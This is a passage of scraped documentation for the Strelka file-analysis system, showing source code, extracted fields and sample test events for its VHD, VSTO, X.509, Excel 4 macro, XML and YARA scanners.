Source Filetype Include / Excludeapplication/x-vhd vhd_file vhdx_file"},{"location":"Scanners/ScanVhd.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str files list files.datetime str files.filename str files.size str flags list hidden_dirs list meta dict meta.7zip_version str meta.partitions list meta.partitions.created str meta.partitions.creator_application str meta.partitions.file_system str meta.partitions.label str meta.partitions.path str meta.partitions.type str total dict total.extracted int total.files int"},{"location":"Scanners/ScanVhd.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 3, \"extracted\": 3},\n \"files\": [\n {\n \"filename\": \"System Volume Information/WPSettings.dat\",\n \"size\": \"12\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"lorem.txt\",\n \"size\": \"4015\",\n \"datetime\": 0.001,\n },\n {\n \"filename\": \"$RECYCLE.BIN/S-1-5-21-3712961497-200595429-3248382696-1000/desktop.ini\",\n \"size\": \"129\",\n \"datetime\": 0.001,\n },\n ],\n \"hidden_dirs\": [\n \"System Volume Information\",\n \"$RECYCLE.BIN\",\n \"$RECYCLE.BIN/S-1-5-21-3712961497-200595429-3248382696-1000\",\n ],\n \"meta\": {\n \"7zip_version\": \"23.01\",\n \"partitions\": [\n {\"path\": 0.001, \"type\": \"GPT\"},\n {\"path\": \"0.Basic data partition.ntfs\", \"file_system\": \"Windows BDP\"},\n {\n \"path\": \"0.Basic data partition.ntfs\",\n \"type\": \"NTFS\",\n \"label\": \"New Volume\",\n \"file_system\": \"NTFS 3.1\",\n \"created\": 0.001,\n },\n ],\n },\n }\nScanner class for extracting information from VSTO files.
This class provides a scan method that extracts information from VSTO files, and stores it in the event dictionary attribute of the class.
strelka/src/python/strelka/scanners/scan_vsto.py class ScanVsto(strelka.Scanner):\n \"\"\"\n Scanner class for extracting information from VSTO files.\n\n This class provides a `scan` method that extracts information from VSTO files, and stores it in the `event`\n dictionary attribute of the class.\n\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Extracts information from the VSTO file.\n\n Args:\n data: The binary data of the VSTO file to be scanned.\n file: File associated with data.\n options: Any options passed in from the backend configuration file.\n expire_at: The expiry time for this scan.\n\n \"\"\"\n try:\n # As Vsto is in an XML format, parse the XML data\n xml = xmltodict.parse(data)\n\n # Extract the VSTO name\n if props := xml.get(\"Properties\"):\n for prop in props.get(\"property\", []):\n if prop[\"vt:lpwstr\"].endswith(\"vstolocal\"):\n self.event[\"vsto\"] = prop[\"vt:lpwstr\"].split(\"|\")[0]\n\n # Extract the assembly identity, dependencies, publisher, and certificate information\n if asm := xml.get(\"asmv1:assembly\"):\n if asm.get(\"assemblyIdentity\"):\n self.event[\"identity\"] = asm[\"assemblyIdentity\"][\"@name\"]\n self.event[\"dependency\"] = {\n \"manifest\": asm[\"dependency\"][\"dependentAssembly\"][\"@codebase\"],\n \"name\": asm[\"dependency\"][\"dependentAssembly\"][\n \"assemblyIdentity\"\n ][\"@name\"],\n }\n self.event[\"publisher\"] = asm[\"publisherIdentity\"][\"@name\"]\n self.event[\"certificate\"] = {\n \"b64\": asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ],\n \"md5\": hashlib.md5(\n base64.b64decode(\n asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ]\n )\n ).hexdigest(),\n }\n\n except Exception as e:\n print(e)\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:100]}\")\nscan(data, file, options, expire_at)","text":"Extracts information from the VSTO file.
Parameters:
Name Type Description Defaultdata The binary data of the VSTO file to be scanned.
requiredfile File associated with data.
requiredoptions Any options passed in from the backend configuration file.
requiredexpire_at The expiry time for this scan.
required Source code instrelka/src/python/strelka/scanners/scan_vsto.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Extracts information from the VSTO file.\n\n Args:\n data: The binary data of the VSTO file to be scanned.\n file: File associated with data.\n options: Any options passed in from the backend configuration file.\n expire_at: The expiry time for this scan.\n\n \"\"\"\n try:\n # As Vsto is in an XML format, parse the XML data\n xml = xmltodict.parse(data)\n\n # Extract the VSTO name\n if props := xml.get(\"Properties\"):\n for prop in props.get(\"property\", []):\n if prop[\"vt:lpwstr\"].endswith(\"vstolocal\"):\n self.event[\"vsto\"] = prop[\"vt:lpwstr\"].split(\"|\")[0]\n\n # Extract the assembly identity, dependencies, publisher, and certificate information\n if asm := xml.get(\"asmv1:assembly\"):\n if asm.get(\"assemblyIdentity\"):\n self.event[\"identity\"] = asm[\"assemblyIdentity\"][\"@name\"]\n self.event[\"dependency\"] = {\n \"manifest\": asm[\"dependency\"][\"dependentAssembly\"][\"@codebase\"],\n \"name\": asm[\"dependency\"][\"dependentAssembly\"][\n \"assemblyIdentity\"\n ][\"@name\"],\n }\n self.event[\"publisher\"] = asm[\"publisherIdentity\"][\"@name\"]\n self.event[\"certificate\"] = {\n \"b64\": asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ],\n \"md5\": hashlib.md5(\n base64.b64decode(\n asm[\"Signature\"][\"KeyInfo\"][\"msrel:RelData\"][\n \"r:license\"\n ][\"r:issuer\"][\"Signature\"][\"KeyInfo\"][\"X509Data\"][\n \"X509Certificate\"\n ]\n )\n ).hexdigest(),\n }\n\n except Exception as e:\n print(e)\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:100]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanVsto.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludevsto_file"},{"location":"Scanners/ScanVsto.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecertificate dict certificate.b64 str certificate.md5 str dependency dict dependency.manifest str dependency.name str elapsed str flags list identity str publisher str"},{"location":"Scanners/ScanVsto.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"dependency\": {\n \"manifest\": \"TestInstaller.dll.manifest\",\n \"name\": \"TestIdentityName.dll\",\n },\n \"publisher\": \"CN=TEST\\\\test\",\n \"certificate\": {\n \"b64\": \"TG9yZW0gaXBzdW0gZG9sb3Igc2l0IGFtZXQsIGNvbnNlY3RldHVyIGFkaXBpc2NpbmcgZWxpdCwgc2VkIGRvIGVpdXNtb2QgdGVtcG9yIGluY2lkaWR1bnQgdXQgbGFib3JlIGV0IGRvbG9yZSBtYWduYSBhbGlxdWEuIFV0IGVuaW0gYWQgbWluaW0gdmVuaWFtLCBxdWlzIG5vc3RydWQgZXhlcmNpdGF0aW9uIHVsbGFtY28gbGFib3JpcyBuaXNpIHV0IGFsaXF1aXAgZXggZWEgY29tbW9kbyBjb25zZXF1YXQuIER1aXMgYXV0ZSBpcnVyZSBkb2xvciBpbiByZXByZWhlbmRlcml0IGluIHZvbHVwdGF0ZSB2ZWxpdCBlc3NlIGNpbGx1bSBkb2xvcmUgZXUgZnVnaWF0IG51bGxhIHBhcmlhdHVyLiBFeGNlcHRldXIgc2ludCBvY2NhZWNhdCBjdXBpZGF0YXQgbm9uIHByb2lkZW50LCBzdW50IGluIGN1bHBhIHF1aSBvZmZpY2lhIGRlc2VydW50IG1vbGxpdCBhbmltIGlkIGVzdCBsYWJvcnVtLg==\",\n \"md5\": \"db89bb5ceab87f9c0fcc2ab36c189c2c\",\n },\n \"identity\": \"TestName.vsto\",\n \"flags\": [],\n }\nCollects metadata from x509 and CRL files.
x509 extensions require cleanup and may be improperly formatted.
Optionstype: String that determines the type of x509 certificate being scanned. Must be either 'der' or 'pem'. Defaults to empty string.
Source code instrelka/src/python/strelka/scanners/scan_x509.py class ScanX509(strelka.Scanner):\n \"\"\"Collects metadata from x509 and CRL files.\n\n x509 extensions require cleanup and may be improperly formatted.\n\n Options:\n type: String that determines the type of x509 certificate being\n scanned. Must be either 'der' or 'pem'.\n Defaults to empty string.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_type = options.get(\"type\", \"\")\n\n if file_type == \"der\":\n cert = X509.load_cert_der_string(data)\n else:\n cert = X509.load_cert_string(data)\n\n self.event[\"issuer\"] = cert.get_issuer().as_text()\n self.event[\"subject\"] = cert.get_subject().as_text()\n self.event[\"serial_number\"] = str(cert.get_serial_number())\n self.event[\"fingerprint\"] = cert.get_fingerprint()\n self.event[\"version\"] = cert.get_version()\n self.event[\"not_after\"] = int(\n cert.get_not_after().get_datetime().strftime(\"%s\")\n )\n self.event[\"not_before\"] = int(\n cert.get_not_before().get_datetime().strftime(\"%s\")\n )\n if self.event[\"not_after\"] < time.time():\n self.event[\"expired\"] = True\n else:\n self.event[\"expired\"] = False\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanX509.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludex509_der_file x509_pem_file"},{"location":"Scanners/ScanX509.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str expired str fingerprint str flags list issuer str not_after str not_before str serial_number str subject str version int"},{"location":"Scanners/ScanX509.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"issuer\": \"C=US, ST=MN, L=Minneapolis, O=Target, CN=target.example.com\",\n \"subject\": \"C=US, ST=MN, L=Minneapolis, O=Target, CN=target.example.com\",\n \"serial_number\": \"46332118164471944499838906445041402559045013295\",\n \"fingerprint\": \"E8EC60C506A5383F5E0FC69FA7C9F460\",\n \"version\": 0,\n \"not_after\": 0.001,\n \"not_before\": 0.001,\n \"expired\": 0.001,\n }\nStrelka scanner for extracting Excel 4 cell contents and IOCs.
This scanner uses the xl4ma analyzer to extract data from Excel files. It attempts to decode Excel 4 cell contents and extract any potential IOCs. Extracted data is added to the scanner's event, and IOCs are processed using the scanner's IOC processing capabilities.
Attributes inherited from strelka.Scanner: - name (str): Name of the scanner class. - key (str): Metadata key used to identify scanner metadata in scan results. - event (dict): Dictionary containing the result of the scan. - flags (list): List of flags raised during scanning. - iocs (list): List of IOCs extracted during scanning.
Source code instrelka/src/python/strelka/scanners/scan_xl4ma.py class ScanXl4ma(strelka.Scanner):\n \"\"\"\n Strelka scanner for extracting Excel 4 cell contents and IOCs.\n\n This scanner uses the xl4ma analyzer to extract data from Excel files.\n It attempts to decode Excel 4 cell contents and extract any potential IOCs.\n Extracted data is added to the scanner's event, and IOCs are processed\n using the scanner's IOC processing capabilities.\n\n Attributes inherited from strelka.Scanner:\n - name (str): Name of the scanner class.\n - key (str): Metadata key used to identify scanner metadata in scan results.\n - event (dict): Dictionary containing the result of the scan.\n - flags (list): List of flags raised during scanning.\n - iocs (list): List of IOCs extracted during scanning.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Overrideable scan method from strelka.Scanner.\n\n Processes the provided data using the xl4ma analyzer and extracts\n relevant information and IOCs.\n\n Args:\n data (bytes): Data associated with the file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n # Attempt to process Excel data using the xl4ma analyzer\n try:\n # Process Excel data and store the results\n results = analyzer.process_data(data=data, filename=file.name)\n\n # Check if decoding and IOCs are present in the results\n if \"decoded\" in results:\n self.event[\"decoded\"] = results[\"decoded\"]\n if \"iocs\" in results:\n self.event[\"iocs\"] = results[\"iocs\"]\n self.add_iocs(results[\"iocs\"])\n except strelka.ScannerTimeout:\n # Propagate the timeout exception\n raise\n except Exception as e:\n # Append exception message to flags for diagnostic purposes\n self.flags.append(f\"xl4ma_processing_exception: {str(e)}\")\nscan(data, file, options, expire_at)","text":"Overrideable scan method from strelka.Scanner.
Processes the provided data using the xl4ma analyzer and extracts relevant information and IOCs.
Parameters:
Name Type Description Defaultdata bytes Data associated with the file to be scanned.
requiredfile File File object associated with the data.
requiredoptions dict Options to be applied during the scan.
requiredexpire_at int Expiration timestamp for extracted files.
required Source code instrelka/src/python/strelka/scanners/scan_xl4ma.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Overrideable scan method from strelka.Scanner.\n\n Processes the provided data using the xl4ma analyzer and extracts\n relevant information and IOCs.\n\n Args:\n data (bytes): Data associated with the file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n # Attempt to process Excel data using the xl4ma analyzer\n try:\n # Process Excel data and store the results\n results = analyzer.process_data(data=data, filename=file.name)\n\n # Check if decoding and IOCs are present in the results\n if \"decoded\" in results:\n self.event[\"decoded\"] = results[\"decoded\"]\n if \"iocs\" in results:\n self.event[\"iocs\"] = results[\"iocs\"]\n self.add_iocs(results[\"iocs\"])\n except strelka.ScannerTimeout:\n # Propagate the timeout exception\n raise\n except Exception as e:\n # Append exception message to flags for diagnostic purposes\n self.flags.append(f\"xl4ma_processing_exception: {str(e)}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanXl4ma.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeexcel4_file"},{"location":"Scanners/ScanXl4ma.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedecoded str elapsed str flags list iocs list iocs.ioc str iocs.ioc_type str iocs.scanner str"},{"location":"Scanners/ScanXl4ma.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"decoded\": unordered(\n [\n \"3\",\n \"user\",\n \"clean.xls\",\n \"None\",\n \"https://www.example.com/path/to/resource\",\n ]\n ),\n \"iocs\": [\n {\"ioc\": \"www.example.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanXl4ma\"},\n {\n \"ioc\": \"https://www.example.com/path/to/resource\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanXl4ma\",\n },\n ],\n }\nCollects metadata and extracts embedded files from XML files. This scanner parses XML files to collect metadata and extract embedded files based on specified tags. It is used in forensic and malware analysis to extract and analyze structured data within XML documents. Scanner Type: Collection Attributes: None Options: extract_tags (list[str]): Tags whose content is extracted as child files. metadata_tags (list[str]): Tags whose content is logged as metadata.
"},{"location":"Scanners/ScanXml.html#strelka.src.python.strelka.scanners.scan_xml.ScanXml--detection-use-cases","title":"Detection Use Cases","text":"Detection Use Cases
Known Limitations
backend.ymlTo Do
References
Contributors
strelka/src/python/strelka/scanners/scan_xml.py class ScanXml(strelka.Scanner):\n \"\"\"\n Collects metadata and extracts embedded files from XML files.\n This scanner parses XML files to collect metadata and extract embedded files based on specified tags.\n It is used in forensic and malware analysis to extract and analyze structured data within XML documents.\n Scanner Type: Collection\n Attributes:\n None\n Options:\n extract_tags (list[str]): Tags whose content is extracted as child files.\n metadata_tags (list[str]): Tags whose content is logged as metadata.\n ## Detection Use Cases\n !!! info \"Detection Use Cases\"\n - **Embedded File Extraction**\n - Extracts files embedded within specific XML tags.\n - **Metadata Extraction**:\n - Collects metadata from specific XML tags.\n ## Known Limitations\n !!! warning \"Known Limitations\"\n - Complex or malformed XML structures might lead to incomplete parsing or errors.\n - Excessive files may be scanned / collected if XML mimetypes are set in the `backend.yml`\n ## To Do\n !!! question \"To Do\"\n - Improve error handling for malformed XML structures.\n - Better extraction of tags / metadata tags\n ## References\n !!! quote \"References\"\n - XML File Format Specification (https://www.w3.org/XML/)\n ## Contributors\n !!! example \"Contributors\"\n - [Josh Liburdi](https://github.com/jshlbrd)\n - [Paul Hutelmyer](https://github.com/phutelmyer)\n \"\"\"\n\n def scan(\n self, data: bytes, file: strelka.File, options: dict, expire_at: int\n ) -> None:\n \"\"\"\n Parses XML data to extract metadata and files.\n Args:\n data: XML data as bytes.\n file: File object containing metadata about the scan.\n options: Dictionary of scanner options.\n expire_at: Time when the scan should be considered expired.\n Scans the XML file, extracting data and metadata based on the specified tags,\n and emits files as necessary.\n \"\"\"\n # Prepare options with case-insensitive tag matching\n xml_options = {\n \"extract_tags\": [tag.lower() for tag in options.get(\"extract_tags\", [])],\n \"metadata_tags\": [tag.lower() for tag in options.get(\"metadata_tags\", [])],\n }\n\n # Initialize scan event data\n self.event.setdefault(\"tags\", set())\n self.event.setdefault(\"tag_data\", [])\n self.event.setdefault(\"namespaces\", set())\n self.event[\"total\"] = {\"tags\": 0, \"extracted\": 0}\n self.emitted_files: Set[str] = (\n set()\n ) # Tracks emitted files to prevent duplicates\n\n # Parse the XML content\n try:\n xml_buffer = data\n if xml_buffer.startswith(b\"<?XML\"):\n xml_buffer = b\"<?xml\" + xml_buffer[5:]\n xml = etree.fromstring(xml_buffer)\n docinfo = xml.getroottree().docinfo\n self.event[\"doc_type\"] = docinfo.doctype if docinfo.doctype else \"\"\n self.event[\"version\"] = docinfo.xml_version if docinfo.xml_version else \"\"\n\n # Recursively process each node in the XML\n self._recurse_node(xml, xml_options)\n\n except etree.XMLSyntaxError as e:\n self.flags.append(f\"syntax_error: {str(e)}\")\n\n # Finalize the event data for reporting\n self.event[\"tags\"] = list(self.event[\"tags\"])\n self.event[\"tag_data\"] = list(self.event[\"tag_data\"])\n self.event[\"total\"][\"tags\"] = len(self.event[\"tags\"])\n self.event[\"namespaces\"] = list(self.event[\"namespaces\"])\n self.event[\"emitted_content\"] = list(self.emitted_files)\n\n # Extract and add Indicators of Compromise (IOCs)\n self.add_iocs(extract_iocs_from_string(data.decode(\"utf-8\")))\n\n def _recurse_node(self, node: etree._Element, xml_options: Dict[str, Any]) -> None:\n \"\"\"\n Recursively processes each XML node to extract data and metadata.\n Args:\n node: The current XML node to process.\n xml_options: Options for data extraction and metadata logging.\n Iterates through XML nodes, extracting data and collecting metadata as specified\n by the scanner options.\n \"\"\"\n if node is not None and hasattr(node.tag, \"__getitem__\"):\n namespace, _, tag = node.tag.partition(\"}\")\n namespace = namespace[1:] if namespace.startswith(\"{\") else \"\"\n tag = tag.lower()\n\n if tag:\n self.event[\"tags\"].add(tag)\n if namespace:\n self.event[\"namespaces\"].add(namespace)\n\n # Handle specific content extraction and emission\n if tag in xml_options[\"extract_tags\"]:\n content = node.text.strip() if node.text else \"\"\n if content:\n self.emit_file(content, name=tag)\n self.emitted_files.add(content)\n self.event[\"total\"][\"extracted\"] += 1\n\n # Always process attributes to capture any relevant metadata or data for emission\n self._process_attributes(node, xml_options, tag)\n\n # Continue to recurse through child nodes to extract data\n for child in node.getchildren():\n self._recurse_node(child, xml_options)\n\n def _process_attributes(\n self, node: etree._Element, xml_options: Dict[str, Any], tag: str\n ) -> None:\n \"\"\"\n Processes XML node attributes to extract or log data.\n Args:\n node: XML node whose attributes are being processed.\n xml_options: Configuration options for the scan.\n tag: The tag of the current XML node being processed.\n Extracts data from attributes specified in the extract_tags list and logs data\n from attributes specified in the metadata_tags list.\n \"\"\"\n for attr_name, attr_value in node.attrib.items():\n attr_name_lower = attr_name.lower()\n if attr_name_lower in xml_options[\"metadata_tags\"]:\n self.event[\"tag_data\"].append(\n {\"tag\": attr_name, \"content\": str(node.attrib)}\n )\nscan(data, file, options, expire_at)","text":"Parses XML data to extract metadata and files. Args: data: XML data as bytes. file: File object containing metadata about the scan. options: Dictionary of scanner options. expire_at: Time when the scan should be considered expired. Scans the XML file, extracting data and metadata based on the specified tags, and emits files as necessary.
Source code instrelka/src/python/strelka/scanners/scan_xml.py def scan(\n self, data: bytes, file: strelka.File, options: dict, expire_at: int\n) -> None:\n \"\"\"\n Parses XML data to extract metadata and files.\n Args:\n data: XML data as bytes.\n file: File object containing metadata about the scan.\n options: Dictionary of scanner options.\n expire_at: Time when the scan should be considered expired.\n Scans the XML file, extracting data and metadata based on the specified tags,\n and emits files as necessary.\n \"\"\"\n # Prepare options with case-insensitive tag matching\n xml_options = {\n \"extract_tags\": [tag.lower() for tag in options.get(\"extract_tags\", [])],\n \"metadata_tags\": [tag.lower() for tag in options.get(\"metadata_tags\", [])],\n }\n\n # Initialize scan event data\n self.event.setdefault(\"tags\", set())\n self.event.setdefault(\"tag_data\", [])\n self.event.setdefault(\"namespaces\", set())\n self.event[\"total\"] = {\"tags\": 0, \"extracted\": 0}\n self.emitted_files: Set[str] = (\n set()\n ) # Tracks emitted files to prevent duplicates\n\n # Parse the XML content\n try:\n xml_buffer = data\n if xml_buffer.startswith(b\"<?XML\"):\n xml_buffer = b\"<?xml\" + xml_buffer[5:]\n xml = etree.fromstring(xml_buffer)\n docinfo = xml.getroottree().docinfo\n self.event[\"doc_type\"] = docinfo.doctype if docinfo.doctype else \"\"\n self.event[\"version\"] = docinfo.xml_version if docinfo.xml_version else \"\"\n\n # Recursively process each node in the XML\n self._recurse_node(xml, xml_options)\n\n except etree.XMLSyntaxError as e:\n self.flags.append(f\"syntax_error: {str(e)}\")\n\n # Finalize the event data for reporting\n self.event[\"tags\"] = list(self.event[\"tags\"])\n self.event[\"tag_data\"] = list(self.event[\"tag_data\"])\n self.event[\"total\"][\"tags\"] = len(self.event[\"tags\"])\n self.event[\"namespaces\"] = list(self.event[\"namespaces\"])\n self.event[\"emitted_content\"] = list(self.emitted_files)\n\n # Extract and add Indicators of Compromise (IOCs)\n self.add_iocs(extract_iocs_from_string(data.decode(\"utf-8\")))\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanXml.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/xml mso_file soap_file text/xml xml_file"},{"location":"Scanners/ScanXml.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedoc_type str elapsed str emitted_content str emitted_content list flags list iocs str namespaces str tag_data str tags str total dict total.extracted int total.tags int version str"},{"location":"Scanners/ScanXml.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"tags\": unordered([\"book\", \"author\", \"price\", \"year\", \"title\"]),\n \"tag_data\": unordered(\n [\n {\"tag\": \"category\", \"content\": \"{'category': 'science'}\"},\n {\"tag\": \"category\", \"content\": \"{'category': 'science'}\"},\n ]\n ),\n \"namespaces\": unordered([\"http://example.com/books\"]),\n \"total\": {\"tags\": 5, \"extracted\": 0},\n \"doc_type\": '<!DOCTYPE bookstore SYSTEM \"bookstore.dtd\">',\n \"version\": \"1.0\",\n \"emitted_content\": [],\n \"iocs\": unordered(\n [\n {\"ioc\": \"example.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanXml\"},\n {\"ioc\": \"www.w3.org\", \"ioc_type\": \"domain\", \"scanner\": \"ScanXml\"},\n ]\n ),\n }\nScans files with YARA.
Attributes:
Name Type Descriptioncompiled_yara Compiled YARA file derived from YARA rule file(s) in location.
Optionslocation: Location of the YARA rules file or directory. Defaults to '/etc/strelka/yara/'. meta: List of YARA rule meta identifiers (e.g. 'Author') that should be logged. Defaults to empty list. store_offset: To extract hexacimal offsts. If true, YARA metadata will be examined for keys. If found, extract out hexadecimal reference lines offset_meta_key: To extract hexadecimal offsets. A string found in a YARA's meta (e.g., 'StrelkaHexDump = true') offset_padding: Padding length before and after offset match for context
Source code instrelka/src/python/strelka/scanners/scan_yara.py class ScanYara(strelka.Scanner):\n \"\"\"Scans files with YARA.\n\n Attributes:\n compiled_yara: Compiled YARA file derived from YARA rule file(s)\n in location.\n\n Options:\n location: Location of the YARA rules file or directory.\n Defaults to '/etc/strelka/yara/'.\n meta: List of YARA rule meta identifiers\n (e.g. 'Author') that should be logged.\n Defaults to empty list.\n store_offset: To extract hexacimal offsts.\n If true, YARA metadata will be examined for\n keys. If found, extract out hexadecimal\n reference lines\n offset_meta_key: To extract hexadecimal offsets.\n A string found in a YARA's meta\n (e.g., 'StrelkaHexDump = true')\n offset_padding: Padding length before and after\n offset match for context\n \"\"\"\n\n def init(self):\n \"\"\"Initializes the ScanYara class.\n\n Sets up the initial state for the scanner by ensuring that\n the compiled YARA rules are not set.\n \"\"\"\n self.compiled_yara = None\n self.loaded_configs = False\n self.rules_loaded = 0\n\n self.warn_user = False\n self.warned_user = False\n self.warn_message = \"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"Scans the provided data with YARA rules.\n\n Args:\n data (bytes): The data to scan.\n file (File): An object representing the file being scanned.\n options (dict): Configuration options for the scan.\n expire_at (int): Expiration time for the scan.\n\n Populates self.event with matches, tags, meta, and hex data\n based on YARA rule matches.\n \"\"\"\n # Load YARA rules if not already loaded.\n # This prevents loading YARA rules on every execution.\n if not self.compiled_yara:\n self.load_yara_rules(options)\n if not self.compiled_yara:\n self.flags.append(\"no_rules_loaded\")\n\n # Set the total rules loaded\n self.event[\"rules_loaded\"] = self.rules_loaded\n\n # Load YARA configuration options only once.\n # This prevents loading the configs on every execution.\n if not self.loaded_configs:\n self.categories = options.get(\"categories\", {})\n self.category_key = options.get(\"category_key\", \"\")\n self.meta_fields = options.get(\"meta_fields\", [])\n self.show_all_meta = options.get(\"show_all_meta\", False)\n self.store_offset = options.get(\"store_offset\", False)\n self.offset_meta_key = options.get(\"offset_meta_key\", \"\")\n self.offset_padding = options.get(\"offset_padding\", 32)\n self.loaded_configs = True\n\n # Initialize the event data structure.\n self.hex_dump_cache = {}\n self.event[\"matches\"] = []\n self.event[\"tags\"] = []\n self.event[\"meta\"] = []\n self.event[\"hex\"] = []\n\n # Match the data against the YARA rules.\n if self.compiled_yara:\n yara_matches = self.compiled_yara.match(data=data)\n for match in yara_matches:\n # add the rule and ruleset name to the category meta\n rule = {\n \"name\": match.rule,\n \"ruleset\": match.namespace,\n }\n # include meta if its in the meta_fields list\n for k, v in match.meta.items():\n if k.lower() in self.meta_fields:\n rule.update({k.lower(): v})\n for category, params in self.categories.items():\n if not self.event.get(category):\n self.event[category] = []\n # check if the category matches the category_key\n if category in match.meta.get(self.category_key, \"\").lower():\n # show meta for specific category if enabled\n if params.get(\"show_meta\", False):\n self.event[category].append(rule)\n else:\n self.event[category].append(match.rule)\n # show meta for specific tag if present\n # if category in list(map(str.lower, match.tags)):\n # self.event[category].append(rule)\n\n # Append rule matches and update tags.\n self.event[\"matches\"].append(match.rule)\n 